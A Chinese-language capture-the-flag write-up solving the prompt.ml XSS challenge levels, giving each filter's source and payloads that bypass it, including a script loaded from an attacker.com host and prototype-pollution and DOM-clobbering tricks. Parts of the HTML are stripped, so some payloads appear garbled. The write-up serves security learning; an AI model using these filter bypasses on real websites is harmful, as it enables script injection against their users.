链接地址:
http://prompt.ml/0
1、成功执行prompt(1).
2、payload不需要用户交互
3、payload必须对下述浏览器有效:
- Chrome(最新版)
- Firefox(最新版)
- IE10 及以上版本(或者IE10兼容模式)
4、每个级别至少给出两种浏览器的答案
5、字符越少越好
function escape(input) {
// warm up
// script should be executed without user interaction
return ''">';
}
闭合以后就好说
">//
">
function escape(input) {
// tags stripping mechanism from ExtJS library
// Ext.util.Format.stripTags
var stripTagsRE = /<\/?[^>]+>/gi;
input = input.replace(stripTagsRE, '');
return '' + input + '';
}
这个主要有正则的过滤,这个是将<>
之间进行匹配,然后替换成空,所以不能出现>
还有其他
1 οnerrοr=prompt(1)
function escape(input) {
// v-- frowny face
input = input.replace(/[=(]/g, '');
// ok seriously, disallows equal signs and open parenthesis
return input;
}
这个正则表示的是将=
或(
替换为空
所以只有将其进行编码绕过
由于要想将编码还原,即(
(十六进制)或者(
(十进制)或者(
(html实体编码)会被还原成(
这里的svg不能去掉,没有的话就直接执行了,原因在于
script
属于Raw text elements
,内部文本遵循着不转义规则,svg
在HTML
的语境下,属于Foreign Elements
,意味着标准不由HTML
定义。而遵循着SVG
的定义。SVG
直接继承自XML
,它和XML
一样,解析规则只区分两种情况:正常情况下,实体会被转义,如<
;被转义为<
,(
,和
]]>
包含的实体则不转义,而\u0028
只有有在ECMAScript
上下文的字符串、正则表达式、标志符中才被当作(
。
官方wp中还将简化一种
但其不能在chrome中运行成功
还有一种支持es6的情况,使用eval会自动解码执行
或是
<script>prompt.call`${1}`script>
function escape(input) {
// filter potential comment end delimiters
input = input.replace(/->/g, '_');
// comment the input to avoid script execution
return '';
}
这个是将->
替换成_
,并要求绕过注释
这个只要想办法闭合注释即可,在2012年的时候,html可以-->
或--!>
闭合注释
--!><svg/onload=prompt(1)
function escape(input) {
// make sure the script belongs to own site
// sample script: http://prompt.ml/js/test.js
if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
var script = document.createElement('script');
script.src = input;
return script.outerHTML;
} else {
return 'Invalid resource.';
}
}
不懂
1、这个题目是利用url的特性绕过,浏览器支持这样的url:
http://user:password@attacker.com。但是http://user:password/@attacker.com是不允许的。由于这里的正则特性和decodeURIComponent函数,所以可以使用%2f绕过,如下:http://prompt.ml%2f@attacker.com。所以域名越短,答案就越短。
//prompt.ml%2f@xx.xx.xx.xx/1.JS
(这里用了@的黑魔法,后面是自己xss)
function escape(input) {
// apply strict filter rules of level 0
// filter ">" and event handlers
input = input.replace(/>|on.+?=|focus/gi, '_');
return ''" type="text">';
}
过滤了>
,也就是说不能闭合,由于onxxx=
全部替换成_
,这里利用回车绕过即可
然后有一种方法就是利用image类型,由于最后的type并不能覆盖前一个type,所以完全可以定义一个类型
"type=image src onerror
="prompt(1)
function escape(input) {
// let's do a post redirection
try {
// pass in formURL#formDataJSON
// e.g. http://httpbin.org/post#{"name":"Matt"}
var segments = input.split('#');
var formURL = segments[0];
var formData = JSON.parse(segments[1]);
var form = document.createElement('form');
form.action = formURL;
form.method = 'post';
for (var i in formData) {
var input = form.appendChild(document.createElement('input'));
input.name = i;
input.setAttribute('value', formData[i]);
}
return form.outerHTML + ' \n\
\n\
';
} catch (e) {
return 'Invalid form data.';
}
}
分析源码可以看到,大概是由#
分割,前面赋给form.action
,使method=post
,后面以json格式赋给formdata
,把formdata
中的属性循环赋给了input。后面满足forms.action
存在即执行提交,所以这里使用js伪协议。由于允许我们创建我们自己的输入,这些输入可以用来破坏窗体的action属性。由于DOM破坏,document.forms [0] .action
将返回我们新创建的输入字段而不是实际的action属性,因此可以执行JavaScript。
javascript:prompt(1)#{"action":1}
function escape(input) {
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title) {
// title can only contain 12 characters
return '0
, 12) + '">';
}).join('\n');
}
意思是根据#
分离,每一部分赋给一个title
,如果超过12字符,就截取前12个。
">
结果
class="comment" title=""><svg/a=">
comment" title=""οnlοad='/*">p>
<p class="comment" title="*/prompt(1)'">p>
官方提供了几个在MSIE的解答
"> ';
}
按理说过滤了\r\n"
,返回了// console.log("input")
,所以需要绕过过滤规则逃逸注释符,类似结果如下:
这里过滤了两个换行符,所以用到了一个特殊的编码技巧:
U+2028,是Unicode中的行分隔符。
U+2029,是Unicode中的段落分隔符。
–> 在 js 中可当注释使用
也就是答案给的是这,但是无法复现
[U+2028]prompt(1)[U+2028]-->
function escape(input) {
// filter potential start-tags
input = input.replace(/<([a-zA-Z])/g, '<_$1');
// use all-caps for heading
input = input.toUpperCase();
// sample input: you shall not pass! => YOU SHALL NOT PASS!
return ''
+ input + '';
}
正则简单,就是将<
后面的所有字符前全部加_
,也就是将这样的标签替换为
<_SCRIPT>
经过查资料发现这里的关键在于toUpperCase()不仅转换英文字母,也转换一些Unicode字符,比如将ſ
传入就可以转换为S
,这样就可以绕过。
直接构造<ſcript>prompt(1)ſcript>
不行,因为javascript对大小写敏感,,不识别PROMPT(1)
所以构造的payload为<ſcript/ſrc="xxx/1.js">ſcript>
,经过转换后就成了,成功加载远程的js脚本。
function escape(input) {
// (╯°□°)╯︵ ┻━┻
input = encodeURIComponent(input).replace(/prompt/g, 'alert');
// ┬──┬ ノ( ゜-゜ノ) chill out bro
input = input.replace(/'/g, '');
// (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO
return ' ';
}
这题太简单了,只是进行了html编码,然后将prompt
替换成alert
,由于还将'
替换为空,所以很好绕过
注:encodeURIComponent()
不会对 ASCII 字母和数字进行编码,也不会对这些 ASCII 标点符号进行编码: - _ . ! ~ * ' ( )
。其他字符(比如 :;/?:@&=+$,#
这些用于分隔 URI 组件的标点符号),都是由一个或多个十六进制的转义序列替换的。
p'rompt(1)
function escape(input) {
// name should not contain special characters
var memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, '');
// data to be parsed as JSON
var dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}';
// directly "parse" data in script context
return ' \n\
';
}
先测试一下
发现如果名字相同,一定会输出后面,这也就是需要构造"message":prompt(1)
可是原先有引号,想闭合,发现正则表达式几乎全部过滤,所以只能另想办法
这里的技巧是利用字母操作符来绕过限制,例如in
,instanceof
等等,在这里这两个可以执行成功,payload为"(prompt(1))instanceof"
或者"(prompt(1))in"
。
还有就是”test”(alert(1))
虽然会提示语法错误, 但是还是会执行js语句。类似的alert(1)in”test”
也是一样
虽然报错,但仍可以弹窗
function escape(input) {
// in Soviet Russia...
input = encodeURIComponent(input).replace(/'/g, '');
// table flips you!
input = input.replace(/prompt/g, 'alert');
// ノ┬─┬ノ ︵ ( \o°o)\
return ' ';
}
跟第level 10题好像,但是过滤了'
,所以只能试试编码或是函数,想到sql中有那种利用函数转换成字符的,尝试一下
payload:
eval((630038579).toString(30))(1)
很多可以构造的
eval((1172936279).toString(34).concat(String.fromCharCode(40)).concat(1).concat(String.fromCharCode(41)))
eval((25).toString(30).concat(String.fromCharCode(114)).concat(String.fromCharCode(111)).concat(String.fromCharCode(109)).concat(String.fromCharCode(112)).concat(String.fromCharCode(116)).concat(String.fromCharCode(40)).concat(1).concat(String.fromCharCode(41)))
输入for((i)in(self))console.log(i)
,可以看到self包含了所有当前窗体的函数和变量,执行window.self
也可以获得一样的结果
speechSynthesis
VM8698:1 caches
VM8698:1 stop
VM8698:1 open
VM8698:1 alert
VM8698:1 confirm
VM8698:1 prompt
VM8698:1 print
VM8698:1 requestAnimationFrame
VM8698:1 cancelAnimationFrame
VM8698:1 requestIdleCallback
VM8698:1 cancelIdleCallback
VM8698:1 captureEvents
VM8698:1 releaseEvents
VM8698:1 getComputedStyle
VM8698:1 matchMedia
VM8698:1 moveTo
VM8698:1 moveBy
VM8698:1 resizeTo
VM8698:1 resizeBy
VM8698:1 getSelection
VM8698:1 find
VM8698:1 getMatchedCSSRules
VM8698:1 webkitRequestAnimationFrame
VM8698:1 webkitCancelAnimationFrame
VM8698:1 webkitCancelRequestAnimationFrame
VM8698:1 btoa
VM8698:1 atob
VM8698:1 setTimeout
VM8698:1 localStorage
VM8698:1 clearTimeout
VM8698:1 sessionStorage
VM8698:1 webkitStorageInfo
VM8698:1 setInterval
VM8698:1 clearInterval
VM8698:1 createImageBitmap
VM8698:1 scroll
VM8698:1 scrollTo
VM8698:1 indexedDB
VM8698:1 scrollBy
VM8698:1 webkitIndexedDB
VM8698:1 ondeviceorientationabsolute
VM8698:1 fetch
VM8698:1 ondeviceorientation
VM8698:1 ondevicemotion
VM8698:1 webkitRequestFileSystem
VM8698:1 crypto
VM8698:1 postMessage
VM8698:1 blur
VM8698:1 webkitResolveLocalFileSystemURL
VM8698:1 focus
VM8698:1 openDatabase
VM8698:1 close
VM8698:1 onpointerup
VM8698:1 onpointerover
VM8698:1 onpointerout
VM8698:1 onpointermove
VM8698:1 onpointerleave
VM8698:1 onpointerenter
VM8698:1 onpointerdown
VM8698:1 onpointercancel
VM8698:1 chrome
VM8698:1 console
VM8698:1 customElements
VM8698:1 onauxclick
VM8698:1 dataString
VM8698:1 data
VM8698:1 performance
VM8698:1 onunload
VM8698:1 onunhandledrejection
VM8698:1 onstorage
VM8698:1 onrejectionhandled
VM8698:1 onpopstate
VM8698:1 onpageshow
VM8698:1 onpagehide
VM8698:1 ononline
VM8698:1 onoffline
VM8698:1 onmessage
VM8698:1 onlanguagechange
VM8698:1 onhashchange
VM8698:1 onbeforeunload
VM8698:1 onwaiting
VM8698:1 onvolumechange
VM8698:1 ontoggle
VM8698:1 ontimeupdate
VM8698:1 onsuspend
VM8698:1 onsubmit
VM8698:1 onstalled
VM8698:1 onshow
VM8698:1 onselect
VM8698:1 onseeking
VM8698:1 onseeked
VM8698:1 onscroll
VM8698:1 onresize
VM8698:1 onreset
VM8698:1 onratechange
VM8698:1 onprogress
VM8698:1 onplaying
VM8698:1 onplay
VM8698:1 onpause
VM8698:1 onmousewheel
VM8698:1 onmouseup
VM8698:1 onmouseover
VM8698:1 onmouseout
VM8698:1 onmousemove
VM8698:1 onmouseleave
VM8698:1 onmouseenter
VM8698:1 onmousedown
VM8698:1 onloadstart
VM8698:1 onloadedmetadata
VM8698:1 onloadeddata
VM8698:1 onload
VM8698:1 onkeyup
VM8698:1 onkeypress
VM8698:1 onkeydown
VM8698:1 oninvalid
VM8698:1 oninput
VM8698:1 onfocus
VM8698:1 onerror
VM8698:1 onended
VM8698:1 onemptied
VM8698:1 ondurationchange
VM8698:1 ondrop
VM8698:1 ondragstart
VM8698:1 ondragover
VM8698:1 ondragleave
VM8698:1 ondragenter
VM8698:1 ondragend
VM8698:1 ondrag
VM8698:1 ondblclick
VM8698:1 oncuechange
VM8698:1 oncontextmenu
VM8698:1 onclose
VM8698:1 onclick
VM8698:1 onchange
VM8698:1 oncanplaythrough
VM8698:1 oncanplay
VM8698:1 oncancel
VM8698:1 onblur
VM8698:1 onabort
VM8698:1 isSecureContext
VM8698:1 onwheel
VM8698:1 onwebkittransitionend
VM8698:1 onwebkitanimationstart
VM8698:1 onwebkitanimationiteration
VM8698:1 onwebkitanimationend
VM8698:1 ontransitionend
VM8698:1 onsearch
VM8698:1 onanimationstart
VM8698:1 onanimationiteration
VM8698:1 onanimationend
VM8698:1 styleMedia
VM8698:1 defaultstatus
VM8698:1 defaultStatus
VM8698:1 screenTop
VM8698:1 i
VM8698:1 screenLeft
VM8698:1 clientInformation
VM8698:1 devicePixelRatio
VM8698:1 outerHeight
VM8698:1 outerWidth
VM8698:1 screenY
VM8698:1 screenX
VM8698:1 pageYOffset
VM8698:1 scrollY
VM8698:1 pageXOffset
VM8698:1 scrollX
VM8698:1 innerHeight
VM8698:1 innerWidth
VM8698:1 screen
VM8698:1 external
VM8698:1 applicationCache
VM8698:1 navigator
VM8698:1 frameElement
VM8698:1 parent
VM8698:1 opener
VM8698:1 top
VM8698:1 length
VM8698:1 frames
VM8698:1 closed
VM8698:1 status
VM8698:1 toolbar
VM8698:1 statusbar
VM8698:1 scrollbars
VM8698:1 personalbar
VM8698:1 menubar
VM8698:1 locationbar
VM8698:1 history
VM8698:1 location
VM8698:1 name
VM8698:1 self
VM8698:1 window
VM8698:1 document
VM8698:1 TEMPORARY
VM8698:1 PERSISTENT
VM8698:1 addEventListener
VM8698:1 removeEventListener
VM8698:1 dispatchEvent
很多很多
function escape(input) {
// extend method from Underscore library
// _.extend(destination, *sources)
function extend(obj) {
var source, prop;
for (var i = 1, length = arguments.length; i < length; i++) {
source = arguments[i];
for (prop in source) {
obj[prop] = source[prop];
}
}
return obj;
}
// a simple picture plugin
try {
// pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"}
var data = JSON.parse(input);
var config = extend({
// default image source
source: 'http://placehold.it/350x150'
}, JSON.parse(input));
// forbit invalid image source
if (/[^\w:\/.]/.test(config.source)) {
delete config.source;
}
// purify the source by stripping off "
var source = config.source.replace(/"/g, '');
// insert the content using mustache-ish template
return ''.replace('{{source}}', source);
} catch (e) {
return 'Invalid image data.';
}
}
JSON.parse()
函数要接受一个json格式的字符串返回json格式的对象,如果传入的参数已经是json格式则会抛出异常,传入的参数被解析成json格式,格式不对则直接返回Invalid image data.
,再经由extend()
函数处理,extend()
函数把默认值替换为指定的值后返回,然后是一个正则判断source对应的值中是否有不属于url的符号,有则删去这个值,将source属性删除
每个对象都会在其内部初始化一个属性,就是proto
,当我们访问对象的属性时,如果对象内部不存在这个属性,那么就会去proto里面找这个属性。
举例测试:
b={"a":1,"__proto__":{"a":2}}
那么基本上就是构造{"source":"'","__proto__":{"source":"onerror=prompt(1)"}}
,由于前面有非法字符'
,则会删除,但是在替换的时候由于过滤了"
,无法闭合,那么正好有一种特殊的替换方式
Pattern | Inserts |
---|---|
$$ |
Inserts a “$”. |
$& |
Inserts the matched substring. |
$` |
Inserts the portion of the string that precedes the matched substring. |
$' |
Inserts the portion of the string that follows the matched substring. |
$n |
Where n is a positive integer less than 100, inserts the nth parenthesized submatch string, provided the first argument was a RegExp object. Note that this is 1-indexed. |
payload:
{"source":"'","__proto__":{"source":"$`οnerrοr=prompt(1)>"}}
function escape(input) {
// I expect this one will have other solutions, so be creative :)
// mspaint makes all file names in all-caps :(
// too lazy to convert them back in lower case
// sample input: prompt.jpg => PROMPT.JPG
input = input.toUpperCase();
// only allows images loaded from own host or data URI scheme
input = input.replace(/\/\/|\w+:/g, 'data:');
// miscellaneous filtering
input = input.replace(/[\\&+%\s]|vbs/gi, '_');
return ''">';
}
函数先把输入转换为大写,第二层将//
和字母换为data:
,第三层将\\
、&
、+
、%
和空白字符,vbs
替换为_
,所以不能内嵌编码后的字符,由于js大小写敏感,所以只能引用外部脚本。Data URI是由RFC 2397定义的一种把小文件直接嵌入文档的方案。格式如下:
data:[ ][;charset= ][;base64],<encoded data>
其实整体可以视为三部分,即声明:参数+数据
,逗号左边的是各种参数,右边的是数据。
MIME type,表示数据呈现的格式,即指定嵌入数据的MIME。
1、对于PNG的图片,其格式是image/png,如果没有指定,默认是text/plain。
2、character set(字符集)大多数被忽略,默认是charset=US-ASCII。如果指定是的数据格式是图片时,字符集将不再使用。
3、base64,这一部分将表明其数据的编码方式,此处为声明后面的数据的编码是base64,我们可以不必使用base64编码格式,如果那样,我们将使用标准的URL编码方式,形如%XX%XX%XX的格式。
payload:
">
当然啦,原理是这样,通过构造类似的就可以访问执行,但是答案没有成功
function escape(input) {
// sort of spoiler of level 7
input = input.replace(/\*/g, '');
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title, index) {
// title can only contain 15 characters
return '0
, 15) + '" data-comment=\'{"id":' + index + '}\'>';
}).join('\n');
}
跟level 7差不多,但是过滤了/*
,这样就是构造关于的注释即可
"><svg><script>prompt(1)script>
结果:
<p class="comment" title=""><svg><script>prompt(1)" data-comment='{"id":2}'>
" title="
-->script>" data-comment='{"id":3}'>p>
答案上也给了几种
在Firefox和MSIE 最后的不必要
"><svg><script>prompt(1)</
然后又给了一种利用模板字符串的方法
参考
http://www.infoq.com/cn/articles/es6-in-depth-template-string
https://en.wikipedia.org/wiki/String_interpolation
"><script>`#${prompt(1)}#`script>
也就是说asdas${prompt(1)}sad
是可以正常执行的
好吧,下面的基本上都得参考才能做出来
function escape(input) {
// WORLD -1
// strip off certain characters from breaking conditional statement
input = input.replace(/[}<]/g, '');
return ' \n\
\n\
'.replace('{{injection}}', input);
}
这里可以看到过滤了<
,}
,而且判断长度必须大于1337,所以用到js变量提升,还用到了一个前面提到的关于replace的匹配技巧。
参考:
https://elegantcode.com/2011/03/24/basic-javascript-part-12-function-hoisting/
先测试一下
看来是可以绕过大于1337,之后利用$&
来替换prompt(1)
payload:
function history(A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A,A)$&prompt(1)
当然Firefox不会提升
http://statichtml.com/2011/spidermonkey-function-hoisting.html
function escape(input) {
// Christmas special edition!
// Ho ho ho these characters are in Santa's naughty list
input = input.replace(/[!*`]/g, '');
// pass in your wishes like pets#toys#half-life3...
var segments = input.split('#');
return segments.map(function(title, index) {
// Don't be greedy! Each present can only contain 20 characters
return '0
, 20) + '">';
}).join('\n');
}
过滤了!
,*
,`
参考答案:
"><script>@if(0)#@end;prompt(1)@if(0)#@endscript>
结果
<p class="present" title=""><script>@if(0)">
" title="
@end;prompt(1)@if(0)">
" title="
@endscript>">p>
参考:
https://docs.microsoft.com/en-us/scripting/javascript/reference/at-cc-on-statement-javascript
https://docs.microsoft.com/en-us/scripting/javascript/reference/at-if-statement-javascript
function escape(input) {
// I iz fabulous cat
// cat hatez dem charz
var query = input.replace(/[>]/g, '');
var script = document.createElement('script');
// find me on Twttr
script.src = 'https://cdn.syndication.twitter.com/widgets/tweetbutton/count.json?url=' + query + '&callback=swag';
return ''">' +
script.outerHTML;
}
过滤了&
,#
,>
payload:
"οnclick=prompt(1) id="a";callback=a.click;
结果:
<input name="query" type="hidden" value=""οnclick=prompt(1) id="a";callback=a.click;"><script src="https://cdn.syndication.twitter.com/widgets/tweetbutton/count.json?url="οnclick=prompt(1) id="a";callback=a.click;&callback=swag">script>
使用过滤脚本和实际的API之间的“误会”.该脚本试图压制使用字符,允许突破或更改API参数。可以通过使用;
代替&
。然后,只需要注入一个点击处理程序,该处理程序将侦听并等待API来实际触发该事件,从而执行。
参照:
http://pwdme.cc/2016/12/06/prompt-ml-xss/
https://lorexxar.cn/2015/07/02/xss-p/
https://github.com/cure53/XSSChallengeWiki/wiki/prompt.ml